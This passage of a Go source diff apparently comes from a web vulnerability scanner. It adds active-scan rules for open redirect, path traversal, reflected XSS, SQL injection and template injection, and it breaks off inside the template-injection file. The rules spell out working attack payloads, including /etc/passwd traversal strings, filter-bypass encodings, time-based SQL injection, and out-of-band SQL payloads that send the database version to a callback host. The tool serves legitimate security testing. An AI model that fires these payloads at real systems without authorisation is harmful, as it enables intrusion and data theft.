// caller then skips its OAST vectors).
|
||||
func OAST(d activescan.RuleDeps) *inject.OAST { return inject.NewOAST(d.Callback) }
|
||||
|
||||
// Requests returns the raw request bytes to fuzz: each target URL's captured bytes,
|
||||
// synthesizing a bare GET when a URL carries none.
|
||||
func Requests(t activescan.Target) [][]byte {
|
||||
var out [][]byte
|
||||
for _, u := range t.URLs {
|
||||
if len(u.RawReq) > 0 {
|
||||
out = append(out, u.RawReq)
|
||||
continue
|
||||
}
|
||||
if raw := synthGET(u.URL, t.Host); raw != nil {
|
||||
out = append(out, raw)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func synthGET(rawURL, host string) []byte {
|
||||
u, err := url.Parse(rawURL)
|
||||
if err != nil || u.Path == "" {
|
||||
return nil
|
||||
}
|
||||
target := u.Path
|
||||
if u.RawQuery != "" {
|
||||
target += "?" + u.RawQuery
|
||||
}
|
||||
h := host
|
||||
if u.Host != "" {
|
||||
h = u.Host
|
||||
}
|
||||
return []byte("GET " + target + " HTTP/1.1\r\nHost: " + h + "\r\nConnection: close\r\n\r\n")
|
||||
}
|
||||
|
||||
// Finding builds a detect.Finding in detect's identity space, deduped per
|
||||
// (rule, host, parameter+path) so one vulnerable parameter is one finding.
|
||||
func Finding(ruleID string, cat detect.Category, sev detect.Severity, name, host, method, probeURL, param, detail, evidence string) detect.Finding {
|
||||
now := time.Now()
|
||||
return detect.Finding{
|
||||
ID: detect.FindingID(ruleID, host, param+"|"+pathOf(probeURL)),
|
||||
RuleID: ruleID,
|
||||
RuleName: name,
|
||||
Category: cat,
|
||||
Severity: sev,
|
||||
Confidence: detect.ConfidenceHigh,
|
||||
Target: detect.TargetMessage,
|
||||
Host: host,
|
||||
Method: method,
|
||||
URL: probeURL,
|
||||
Detail: detail,
|
||||
Evidence: evidence,
|
||||
FirstSeen: now,
|
||||
LastSeen: now,
|
||||
EvidenceOffset: -1,
|
||||
}
|
||||
}
|
||||
|
||||
func pathOf(u string) string {
|
||||
if parsed, err := url.Parse(u); err == nil && parsed.Path != "" {
|
||||
return parsed.Path
|
||||
}
|
||||
if i := strings.IndexByte(u, '?'); i >= 0 {
|
||||
return u[:i]
|
||||
}
|
||||
return u
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
// Package openredirect is the active open-redirect rule. Each check replaces the
|
||||
// parameter with an external canary URL and confirms a redirect to that host via the
|
||||
// Location header or an in-body meta/JS redirect.
|
||||
package openredirect
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "openredirect"
|
||||
findingRule = "activescan.openredirect"
|
||||
)
|
||||
|
||||
func payloads(canary string) []string {
|
||||
return []string{"https://" + canary + "/", "//" + canary + "/"}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
{
|
||||
ID: "location", Name: "Location header", Severity: detect.SeverityMedium,
|
||||
Description: "Injects an external URL and reports when a 3xx Location header points to it.",
|
||||
Payloads: []string{"https://<canary>/", "//<canary>/"},
|
||||
Probe: locationHeader,
|
||||
},
|
||||
{
|
||||
ID: "body", Name: "Body meta/JS redirect", Severity: detect.SeverityMedium,
|
||||
Description: "Injects an external URL and reports when the body redirects to it (meta refresh or window.location).",
|
||||
Payloads: []string{"https://<canary>/", "//<canary>/"},
|
||||
Probe: bodyRedirect,
|
||||
},
|
||||
}
|
||||
|
||||
var bodyRedirectRe = regexp.MustCompile(`(?i)(?:http-equiv=["']?refresh|location\.(?:href|replace|assign)|window\.location)`)
|
||||
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Open redirect" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryOpenRedirect }
|
||||
func (*Rule) Description() string {
|
||||
return "Replaces each parameter with an external canary URL and reports when the response " +
|
||||
"redirects to that host — via the Location header on a 3xx or an in-body meta/JavaScript " +
|
||||
"redirect — indicating an unvalidated redirect."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryOpenRedirect, "Open redirect")
|
||||
return nil
|
||||
}
|
||||
|
||||
func locationHeader(pc injkit.ProbeCtx) {
|
||||
canary := "joro-redir-" + randHex(5) + ".example"
|
||||
for _, pl := range payloads(canary) {
|
||||
res := pc.Inject(pl, false)
|
||||
if res == nil {
|
||||
continue
|
||||
}
|
||||
loc := res.Resp.Header.Get("Location")
|
||||
if res.Status >= 300 && res.Status < 400 && strings.Contains(loc, canary) {
|
||||
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (Location header)", "Location: "+loc, res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func bodyRedirect(pc injkit.ProbeCtx) {
|
||||
canary := "joro-redir-" + randHex(5) + ".example"
|
||||
for _, pl := range payloads(canary) {
|
||||
res := pc.Inject(pl, false)
|
||||
if res == nil {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(string(res.Resp.Body), canary) && bodyRedirectRe.Match(res.Resp.Body) {
|
||||
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (body redirect)", "response body redirects to "+canary, res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func randHex(n int) string {
|
||||
b := make([]byte, n)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
// Package pathtraversal is the active path-traversal / LFI rule. Each check replaces
|
||||
// the parameter with traversal payloads for one target file and confirms when the
|
||||
// response returns that file's contents.
|
||||
package pathtraversal
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "pathtraversal"
|
||||
findingRule = "activescan.pathtraversal"
|
||||
)
|
||||
|
||||
var (
|
||||
rePasswd = regexp.MustCompile(`root:.*:0:0:`)
|
||||
reWinIni = regexp.MustCompile(`(?i)\[(?:fonts|extensions|mci extensions)\]|for 16-bit app support`)
|
||||
reWebXML = regexp.MustCompile(`(?i)<web-app[\s>]`)
|
||||
)
|
||||
|
||||
func fileCheck(id, name, desc string, payloads []string, re *regexp.Regexp, evidence string) injkit.Check {
|
||||
return injkit.Check{
|
||||
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc, Payloads: payloads,
|
||||
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads, re, evidence) },
|
||||
}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
fileCheck("unix-passwd", "Unix /etc/passwd",
|
||||
"Traverses to /etc/passwd and matches the user-database format.",
|
||||
[]string{"../../../../../../../../etc/passwd", "/etc/passwd", "....//....//....//....//etc/passwd"},
|
||||
rePasswd, "response contains /etc/passwd contents (root:...:0:0:)"),
|
||||
fileCheck("windows-winini", "Windows win.ini",
|
||||
"Traverses to Windows win.ini and matches its section headers.",
|
||||
[]string{"..\\..\\..\\..\\..\\windows\\win.ini", "C:\\windows\\win.ini"},
|
||||
reWinIni, "response contains win.ini contents"),
|
||||
fileCheck("java-webxml", "Java WEB-INF/web.xml",
|
||||
"Reads WEB-INF/web.xml from a Java web app.",
|
||||
[]string{"/WEB-INF/web.xml", "../../WEB-INF/web.xml"},
|
||||
reWebXML, "response contains WEB-INF/web.xml contents"),
|
||||
fileCheck("encoded", "Encoded traversal",
|
||||
"URL-encoded traversal to /etc/passwd (filter-bypass variants).",
|
||||
[]string{"..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", "..%5c..%5c..%5c..%5cwindows%5cwin.ini"},
|
||||
rePasswd, "response contains /etc/passwd contents via encoded traversal"),
|
||||
}
|
||||
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Path traversal / LFI" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryPathTraversal }
|
||||
func (*Rule) Description() string {
|
||||
return "Replaces each parameter with directory-traversal payloads (encoded and raw, Unix and " +
|
||||
"Windows) and reports when the response returns the contents of a well-known file " +
|
||||
"(/etc/passwd, win.ini, WEB-INF/web.xml) — confirmed path traversal / local file inclusion."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryPathTraversal, "Path traversal / LFI")
|
||||
return nil
|
||||
}
|
||||
|
||||
func probe(pc injkit.ProbeCtx, payloads []string, re *regexp.Regexp, evidence string) {
|
||||
for _, pl := range payloads {
|
||||
res := pc.Inject(pl, false)
|
||||
if res != nil && re.Match(res.Resp.Body) {
|
||||
pc.File(detect.SeverityHigh, "path traversal in "+pc.Point.Name+" via "+pl, evidence, res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
// Package reflectedxss is the active reflected-XSS rule. Each check injects a unique
|
||||
// canary with a particular breakout payload and reuses internal/echo's analyzer
|
||||
// (enumeration, context classification, breakout rubric) on the (mutated request,
|
||||
// response) pair; a reflection that breaks out of its context is a finding.
|
||||
package reflectedxss
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/echo"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "reflectedxss"
|
||||
findingRule = "activescan.reflectedxss"
|
||||
)
|
||||
|
||||
func styleCheck(id, name, desc, suffix string) injkit.Check {
|
||||
return injkit.Check{
|
||||
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc,
|
||||
Payloads: []string{"<canary>" + suffix},
|
||||
Probe: func(pc injkit.ProbeCtx) { probe(pc, suffix) },
|
||||
}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
styleCheck("html-text", "HTML text breakout", "Breaks out of HTML text/attribute with angle brackets and quotes.", `"'></`),
|
||||
styleCheck("attribute", "Attribute event-handler", "Breaks out of an attribute into an event handler.", `" autofocus onfocus=jo `),
|
||||
styleCheck("script", "Script string breakout", "Breaks out of a JavaScript string context.", `';jo//`),
|
||||
styleCheck("template", "Template/backtick breakout", "Breaks out of a template-literal/backtick context.", "`+jo+`"),
|
||||
}
|
||||
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Reflected XSS" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryReflectedXSS }
|
||||
func (*Rule) Description() string {
|
||||
return "Injects a unique canary with HTML/JS-breaking characters into each request " +
|
||||
"parameter and reuses the Echo analyzer to decide whether it reflects into an " +
|
||||
"exploitable, unescaped context (a breakout) — confirmed reflected cross-site scripting."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryReflectedXSS, "Reflected XSS")
|
||||
return nil
|
||||
}
|
||||
|
||||
func probe(pc injkit.ProbeCtx, suffix string) {
|
||||
canary := "joro" + randHex(5)
|
||||
res := pc.Inject(canary+suffix, false)
|
||||
if res == nil {
|
||||
return
|
||||
}
|
||||
cr := &proxy.CapturedRequest{ReqRaw: res.RawReq, RespRaw: res.RespRaw, Host: pc.Host, URL: res.URL, Method: res.Method}
|
||||
report := echo.Analyze(cr, echo.DefaultConfig())
|
||||
for _, refl := range report.Reflections {
|
||||
if refl.Breakout && strings.Contains(refl.Value, canary) {
|
||||
pc.File(detect.SeverityHigh, "parameter "+pc.Point.Name+" reflects unescaped into "+string(refl.Context),
|
||||
"canary broke out of the "+string(refl.Context)+" context; surviving characters: "+refl.Survived, res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func randHex(n int) string {
|
||||
b := make([]byte, n)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
@@ -0,0 +1,233 @@
|
||||
package activescan
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
)
|
||||
|
||||
// Run is one scan execution.
|
||||
type Run struct {
|
||||
ID string `json:"id"`
|
||||
Host string `json:"host"`
|
||||
Origin string `json:"origin"`
|
||||
Scope string `json:"scope"` // "host" | "request"
|
||||
Rules []string `json:"rules"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
Total int `json:"total"`
|
||||
|
||||
Config Config `json:"-"`
|
||||
|
||||
urls []TargetURL // the scope-filtered URLs this run exercises
|
||||
|
||||
mu sync.RWMutex
|
||||
status Status
|
||||
completed int
|
||||
errors int
|
||||
findings int
|
||||
errMsgs []string
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
// NewRun creates a running scan with its totals set. total is the number of work
|
||||
// units the run expects to complete: one per (rule, URL).
|
||||
func NewRun(id string, cfg Config, t Target, ruleIDs []string, total int) *Run {
|
||||
return &Run{
|
||||
ID: id,
|
||||
Host: t.Host,
|
||||
Origin: t.Origin,
|
||||
Scope: cfg.Scope,
|
||||
Rules: ruleIDs,
|
||||
CreatedAt: time.Now(),
|
||||
Total: total,
|
||||
Config: cfg,
|
||||
urls: t.URLs,
|
||||
status: StatusRunning,
|
||||
}
|
||||
}
|
||||
|
||||
// Status reports the run's state.
|
||||
func (r *Run) Status() Status {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.status
|
||||
}
|
||||
|
||||
// Counts reports progress.
|
||||
func (r *Run) Counts() (completed, errors, findings int) {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.completed, r.errors, r.findings
|
||||
}
|
||||
|
||||
// Errors returns the rule-level failures observed so far.
|
||||
func (r *Run) Errors() []string {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return append([]string{}, r.errMsgs...)
|
||||
}
|
||||
|
||||
func (r *Run) addProgress(delta int) {
|
||||
r.mu.Lock()
|
||||
r.completed += delta
|
||||
r.mu.Unlock()
|
||||
}
|
||||
|
||||
func (r *Run) addFinding() {
|
||||
r.mu.Lock()
|
||||
r.findings++
|
||||
r.mu.Unlock()
|
||||
}
|
||||
|
||||
func (r *Run) addError(msg string) {
|
||||
r.mu.Lock()
|
||||
r.errors++
|
||||
r.errMsgs = append(r.errMsgs, msg)
|
||||
r.mu.Unlock()
|
||||
}
|
||||
|
||||
func (r *Run) finish(s Status) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if r.status == StatusRunning {
|
||||
r.status = s
|
||||
}
|
||||
}
|
||||
|
||||
// Stop cancels a running run.
|
||||
func (r *Run) Stop() bool {
|
||||
r.mu.Lock()
|
||||
cancel := r.cancel
|
||||
running := r.status == StatusRunning
|
||||
if running {
|
||||
r.status = StatusStopped
|
||||
}
|
||||
r.mu.Unlock()
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
return running
|
||||
}
|
||||
|
||||
func (r *Run) setCancel(cancel context.CancelFunc) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
r.cancel = cancel
|
||||
}
|
||||
|
||||
// Deps is what a run needs from the host process.
|
||||
type Deps struct {
|
||||
// Broadcast is the hub's channel, carrying event.WSEvent values.
|
||||
Broadcast chan<- any
|
||||
// Findings is the shared detect store a rule's results are filed into.
|
||||
Findings *detect.Store
|
||||
// Notify pushes the aggregate detect.summary (s.broadcastDetectSummary).
|
||||
Notify func()
|
||||
// Registry resolves the run's rule IDs to Rule implementations.
|
||||
Registry *Registry
|
||||
// RuleDeps is forwarded to each rule.
|
||||
RuleDeps RuleDeps
|
||||
}
|
||||
|
||||
// Plan reports how many work units a scan will run and refuses one that cannot
|
||||
// run, before any browser launches or byte goes on the wire.
|
||||
func Plan(cfg Config, t Target, rules []Rule) (int, error) {
|
||||
if len(t.URLs) == 0 {
|
||||
return 0, fmt.Errorf("no in-scope URLs to scan")
|
||||
}
|
||||
if len(rules) == 0 {
|
||||
return 0, fmt.Errorf("no active-scan rules selected")
|
||||
}
|
||||
return len(t.URLs) * len(rules), nil
|
||||
}
|
||||
|
||||
// Execute runs every selected rule against the target, sequentially.
|
||||
func Execute(ctx context.Context, run *Run, d Deps) {
|
||||
budget := time.Duration(clampInt(run.Config.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
|
||||
runCtx, cancel := context.WithTimeout(ctx, budget)
|
||||
defer cancel()
|
||||
run.setCancel(cancel)
|
||||
|
||||
started := time.Now()
|
||||
broadcast(d, "activescan.started", map[string]any{
|
||||
"runId": run.ID, "host": run.Host, "origin": run.Origin,
|
||||
"scope": run.Scope, "rules": run.Rules, "total": run.Total,
|
||||
})
|
||||
|
||||
rep := &reporter{run: run, d: d}
|
||||
rules := d.Registry.Resolve(run.Config.Rules)
|
||||
|
||||
status := StatusComplete
|
||||
for _, rule := range rules {
|
||||
if runCtx.Err() != nil {
|
||||
status = StatusStopped
|
||||
break
|
||||
}
|
||||
if err := rule.Run(runCtx, Target{
|
||||
Scheme: schemeOf(run.Origin), Host: run.Host, Origin: run.Origin, URLs: run.urls,
|
||||
}, run.Config, d.RuleDeps, rep); err != nil {
|
||||
run.addError(fmt.Sprintf("%s: %v", rule.Name(), err))
|
||||
}
|
||||
}
|
||||
if runCtx.Err() != nil {
|
||||
status = StatusStopped
|
||||
}
|
||||
run.finish(status)
|
||||
|
||||
completed, errs, findings := run.Counts()
|
||||
broadcast(d, "activescan.complete", map[string]any{
|
||||
"runId": run.ID, "status": string(run.Status()),
|
||||
"completed": completed, "errors": errs, "findings": findings,
|
||||
"durationMs": time.Since(started).Milliseconds(),
|
||||
})
|
||||
}
|
||||
|
||||
// reporter adapts a run and its deps to the Reporter a rule writes through.
|
||||
type reporter struct {
|
||||
run *Run
|
||||
d Deps
|
||||
}
|
||||
|
||||
func (r *reporter) Progress(delta int) {
|
||||
if delta <= 0 {
|
||||
return
|
||||
}
|
||||
r.run.addProgress(delta)
|
||||
completed, _, findings := r.run.Counts()
|
||||
broadcast(r.d, "activescan.progress", map[string]any{
|
||||
"runId": r.run.ID, "scanned": completed, "total": r.run.Total, "findings": findings,
|
||||
})
|
||||
}
|
||||
|
||||
func (r *reporter) Finding(f detect.Finding) {
|
||||
if r.d.Findings == nil {
|
||||
return
|
||||
}
|
||||
saved, isNew := r.d.Findings.Upsert(f)
|
||||
r.run.addFinding()
|
||||
broadcast(r.d, "detect.finding", map[string]any{"finding": saved, "isNew": isNew})
|
||||
if r.d.Notify != nil {
|
||||
r.d.Notify()
|
||||
}
|
||||
}
|
||||
|
||||
// broadcast sends blocking, from the run's own goroutine, like chainrun and
|
||||
// fuzzer: Hub.Subscribe fans out without blocking, so a slow subscriber cannot
|
||||
// stall the run, and blocking keeps the client's progress agreeing with the run.
|
||||
func broadcast(d Deps, typ string, data map[string]any) {
|
||||
if d.Broadcast == nil {
|
||||
return
|
||||
}
|
||||
d.Broadcast <- event.WSEvent{Type: typ, Data: data}
|
||||
}
|
||||
|
||||
func schemeOf(origin string) string {
|
||||
if len(origin) >= 8 && origin[:8] == "https://" {
|
||||
return "https"
|
||||
}
|
||||
return "http"
|
||||
}
|
||||
@@ -0,0 +1,154 @@
|
||||
// Package sqli is the active SQL-injection rule. It exposes a catalog of named
|
||||
// checks (error-based, boolean-based, time-based, out-of-band); each appends
|
||||
// read-only payloads to a parameter and confirms via the shared DB-error matcher, a
|
||||
// structural true/false differential, a timing delay, or a callback.
|
||||
package sqli
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "sqli"
|
||||
findingRule = "activescan.sqli"
|
||||
sleepMs = 5000
|
||||
oastWindow = 12 * time.Second
|
||||
)
|
||||
|
||||
var errorSuffixes = []string{`'`, `"`, `')`, `'"`}
|
||||
|
||||
var booleanPairs = [][2]string{
|
||||
{`' AND '1'='1`, `' AND '1'='2`},
|
||||
{` AND 1=1`, ` AND 1=2`},
|
||||
{`" AND "1"="1`, `" AND "1"="2`},
|
||||
}
|
||||
|
||||
var timeSuffixes = []string{
|
||||
`' AND SLEEP(5)-- -`,
|
||||
` AND SLEEP(5)`,
|
||||
`'||pg_sleep(5)--`,
|
||||
`';WAITFOR DELAY '0:0:5'--`,
|
||||
}
|
||||
|
||||
func oastSuffixes(host string) []string {
|
||||
return []string{
|
||||
`' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.` + host + `\\x')))-- -`,
|
||||
`';EXEC master..xp_dirtree '\\` + host + `\x';--`,
|
||||
`'||(SELECT UTL_INADDR.get_host_address('` + host + `') FROM dual)--`,
|
||||
}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
{
|
||||
ID: "error-based", Name: "Error-based", Severity: detect.SeverityHigh,
|
||||
Description: "Appends quote/paren breakers and matches the response against database error signatures.",
|
||||
Payloads: errorSuffixes,
|
||||
Probe: errorBased,
|
||||
},
|
||||
{
|
||||
ID: "boolean-based", Name: "Boolean-based", Severity: detect.SeverityHigh,
|
||||
Description: "Sends a TRUE and a FALSE condition and reports when TRUE matches the baseline while FALSE differs.",
|
||||
Payloads: []string{`' AND '1'='1`, `' AND '1'='2`, ` AND 1=1`, ` AND 1=2`},
|
||||
Probe: booleanBased,
|
||||
},
|
||||
{
|
||||
ID: "time-based", Name: "Time-based", Severity: detect.SeverityHigh,
|
||||
Description: "Injects a database sleep and confirms a delayed response twice to reject jitter.",
|
||||
Payloads: timeSuffixes,
|
||||
Probe: timeBased,
|
||||
},
|
||||
{
|
||||
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityHigh,
|
||||
Description: "Injects DNS/SMB exfiltration payloads and polls the callback listener for an interaction.",
|
||||
Payloads: []string{`LOAD_FILE(CONCAT('\\\\',…,'.<callback>\\x'))`, `xp_dirtree '\\<callback>\x'`, `UTL_INADDR.get_host_address('<callback>')`},
|
||||
RequiresOAST: true,
|
||||
Probe: oastBased,
|
||||
},
|
||||
}
|
||||
|
||||
// Rule implements activescan.Rule and activescan.Cataloger (via the embedded set).
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "SQL injection" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategorySQLi }
|
||||
func (*Rule) Description() string {
|
||||
return "Appends error-based, boolean-differential, time-based, and (when a callback " +
|
||||
"listener is configured) out-of-band SQL payloads to each parameter, confirming via " +
|
||||
"database error signatures, a true/false response differential, a timing delay, or a callback."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySQLi, "SQL injection")
|
||||
return nil
|
||||
}
|
||||
|
||||
func errorBased(pc injkit.ProbeCtx) {
|
||||
for _, s := range errorSuffixes {
|
||||
res := pc.Inject(s, true)
|
||||
if res == nil {
|
||||
continue
|
||||
}
|
||||
if engine, ev, ok := detect.MatchSQLError(res.Resp.Body); ok {
|
||||
pc.File(detect.SeverityHigh, "error-based SQLi in "+pc.Point.Name+" ("+engine+")", engine+" error: "+ev, res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func booleanBased(pc injkit.ProbeCtx) {
|
||||
for _, pair := range booleanPairs {
|
||||
tr, fa := pc.Inject(pair[0], true), pc.Inject(pair[1], true)
|
||||
if tr == nil || fa == nil {
|
||||
continue
|
||||
}
|
||||
if injkit.SameStructure(tr.Fingerprint, pc.Base.Fingerprint) &&
|
||||
!injkit.SameStructure(fa.Fingerprint, pc.Base.Fingerprint) {
|
||||
pc.File(detect.SeverityHigh, "boolean-based SQLi in "+pc.Point.Name,
|
||||
"TRUE ("+pair[0]+") matched the baseline; FALSE ("+pair[1]+") differed", tr.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func timeBased(pc injkit.ProbeCtx) {
|
||||
for _, s := range timeSuffixes {
|
||||
res := pc.Inject(s, true)
|
||||
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
|
||||
continue
|
||||
}
|
||||
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
|
||||
pc.File(detect.SeverityHigh, "time-based blind SQLi in "+pc.Point.Name,
|
||||
"injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func oastBased(pc injkit.ProbeCtx) {
|
||||
if pc.OAST == nil {
|
||||
return
|
||||
}
|
||||
tokenID, host, err := pc.OAST.Token("sqli")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, s := range oastSuffixes(host) {
|
||||
pc.Inject(s, true)
|
||||
}
|
||||
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
|
||||
pc.File(detect.SeverityHigh, "out-of-band SQLi in "+pc.Point.Name,
|
||||
"an injected payload triggered a callback to "+host, pc.Base.URL)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
// Package ssti is the active server-side template injection rule. Each check
|
||||
// replaces the parameter with one engine family's arithmetic polyglot and confirms
|
||||
// when the computed product appears in the response.
|
||||
package ssti
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "ssti"
|
||||
findingRule = "activescan.ssti"
|
||||
product = "1649858" // 1337 * 1234, distinctive and unlikely to occur naturally
|
||||
)
|
||||
|
||||
func syntaxCheck(id, name, desc string, payloads []string) injkit.Check {
|
||||
return injkit.Check{
|
||||
ID: id, Name: name, Severity: detect.SeverityCritical, Description: desc, Payloads: payloads,
|
||||
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads) },
|
||||
}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
syntaxCheck("jinja-twig", "Jinja/Twig {{…}}", "Doubled-brace expression (Jinja2, Twig, Nunjucks).", []string{`{{1337*1234}}`}),
|
||||
syntaxCheck("dollar-hash", "Freemarker/Velocity ${…}/#{…}", "Dollar/hash expression (Freemarker, Velocity, Thymeleaf).", []string{`${1337*1234}`, `#{1337*1234}`}),
|
||||
syntaxCheck("erb-jsp", "ERB/JSP <%= … %>", "Scriptlet expression (ERB, JSP, ASP).", []string{`<%= 1337*1234 %>`}),
|
||||
syntaxCheck("razor", "Razor @(…)", "Razor expression (.NET).", []string{`@(1337*1234)`}),
|
||||
syntaxCheck("smarty-mako", "Smarty/Mako/other", "Single-brace and assignment forms (Smarty, Mako, Spring EL).", []string{`{1337*1234}`, `*{1337*1234}`, `#set($x=1337*1234)$x`}),
|
||||
}
|
||||
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Server-side template injection" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategorySSTI }
|
